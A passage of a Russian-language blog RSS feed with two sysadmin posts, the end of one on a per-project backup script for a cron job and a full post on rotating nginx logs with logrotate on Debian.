<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root:root <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.daily<span style="color: #000000; font-weight: bold;">/</span>sites-backup<br />
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> 0700 <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.daily<span style="color: #000000; font-weight: bold;">/</span>sites-backup</div></div>
<p>Осталось только для каждого проекта создать файл конфига. К примеру для проекта svdev, получаем следующий конфиг <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>svdev.ru<span style="color: #000000; font-weight: bold;">/</span>backup.conf</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #007800;">DBNAME</span>=<span style="color: #ff0000;">&quot;svdev&quot;</span><br />
<span style="color: #007800;">PROJECTNAME</span>=<span style="color: #ff0000;">&quot;svdev.ru&quot;</span><br />
<span style="color: #007800;">TARFILES</span>=<span style="color: #ff0000;">&quot; -C /var/www/svdev.ru/htdocs wp-config.php -C /var/www/svdev.ru/htdocs/wp-content uploads&quot;</span></div></div>
<p>Если БД не используется, то необходимо указать пустую строку в качестве имени БД:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #007800;">DBNAME</span>=<span style="color: #ff0000;">&quot;&quot;</span><br />
<span style="color: #007800;">PROJECTNAME</span>=<span style="color: #ff0000;">&quot;svdev.ru&quot;</span><br />
<span style="color: #007800;">TARFILES</span>=<span style="color: #ff0000;">&quot; -C /var/www/svdev.ru/htdocs wp-config.php -C /var/www/svdev.ru/htdocs/wp-content uploads&quot;</span></div></div>
<p>Теперь <strong>для создания бэкапов</strong> нового проекта <strong>необходимо дать права пользователю скрипта на БД</strong>, <strong>создать на удаленном FTP директорию</strong> куда будут складываться архивы <strong>и добавить конфиг из 3х строчек</strong>.</p>
<p>Главное не забывать вовремя чистить FTP.</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/backup-advanced/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ротация логов nginx</title>
		<link>http://svdev.ru/blog/nginx-logrotate/</link>
		<comments>http://svdev.ru/blog/nginx-logrotate/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 14:45:07 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[logrotate]]></category>
		<category><![CDATA[nginx]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=385</guid>
		<description><![CDATA[Простенький скрипт, который проверяет доступность пакета logrotate и запускает ротацию. Кладется в /etc/cron.daily и запускается как правило в 4 часа утра, за это отвечает запись в /etc/crontab (у меня в 6 часов 25 минут):
25 6 &#160; &#160;* * * &#160; root &#160; &#160;test -x /usr/sbin/anacron &#124;&#124; &#40; cd / &#38;&#38; run-parts --report /etc/cron.daily &#41;
Сам скрипт, [...]]]></description>
			<content:encoded><![CDATA[<p>Простенький скрипт, который проверяет доступность пакета <code class="codecolorer bash default"><span class="bash">logrotate</span></code> и запускает ротацию. Кладется в <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.daily</span></code> и запускается как правило в 4 часа утра, за это отвечает запись в <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>crontab</span></code> (у меня в 6 часов 25 минут):</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">25 6 &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> &nbsp; root &nbsp; &nbsp;<span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-x</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>anacron <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #c20cb9; font-weight: bold;">run-parts</span> <span style="color: #660033;">--report</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>cron.daily <span style="color: #7a0874; font-weight: bold;">&#41;</span></div></div>
<p>Сам скрипт, запускающий суточные задания:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<br />
<span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-x</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>logrotate <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span><br />
<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>logrotate <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>logrotate.conf</div></div>
<p>Среди которых ротация логов nginx:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>nginx<span style="color: #000000; font-weight: bold;">/*</span>.log <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/*/</span>logs<span style="color: #000000; font-weight: bold;">/</span>error.log <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; daily<br />
&nbsp; &nbsp; &nbsp; &nbsp; missingok<br />
&nbsp; &nbsp; &nbsp; &nbsp; rotate 1<br />
&nbsp; &nbsp; &nbsp; &nbsp; compress<br />
&nbsp; &nbsp; &nbsp; &nbsp; delaycompress<br />
&nbsp; &nbsp; &nbsp; &nbsp; notifempty<br />
&nbsp; &nbsp; &nbsp; &nbsp; create 640 root adm<br />
&nbsp; &nbsp; &nbsp; &nbsp; sharedscripts<br />
&nbsp; &nbsp; &nbsp; &nbsp; postrotate<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>run<span style="color: #000000; font-weight: bold;">/</span>nginx.pid <span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #c20cb9; font-weight: bold;">kill</span> <span style="color: #660033;">-USR1</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>run<span style="color: #000000; font-weight: bold;">/</span>nginx.pid<span style="color: #000000; font-weight: bold;">`</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>nginx<span style="color: #000000; font-weight: bold;">/</span>error.log.1 <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span> <span style="color: #ff0000;">&quot;Nginx error log&quot;</span> root<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/*/</span>logs<span style="color: #000000; font-weight: bold;">/</span>error.log.1 <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span> <span style="color: #ff0000;">&quot;Sitests nginx error log&quot;</span> root<br />
&nbsp; &nbsp; &nbsp; &nbsp; endscript<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span></div></div>
<p>Что здесь происходит? Ротируются логи nginx из <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>nginx</span></code> а за позапрошлый день сжимаются и так же с логами для всех проектов, если учесть что проекты находятся в <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www</span></code> а логи соответственно в директории <code class="codecolorer text default"><span class="text">logs</span></code> проекта. А логи за предыдущий день отправляются на почту рута двумя письмами &#8211; одно со всех проектов, а второе самого nginx.</p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/nginx-logrotate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
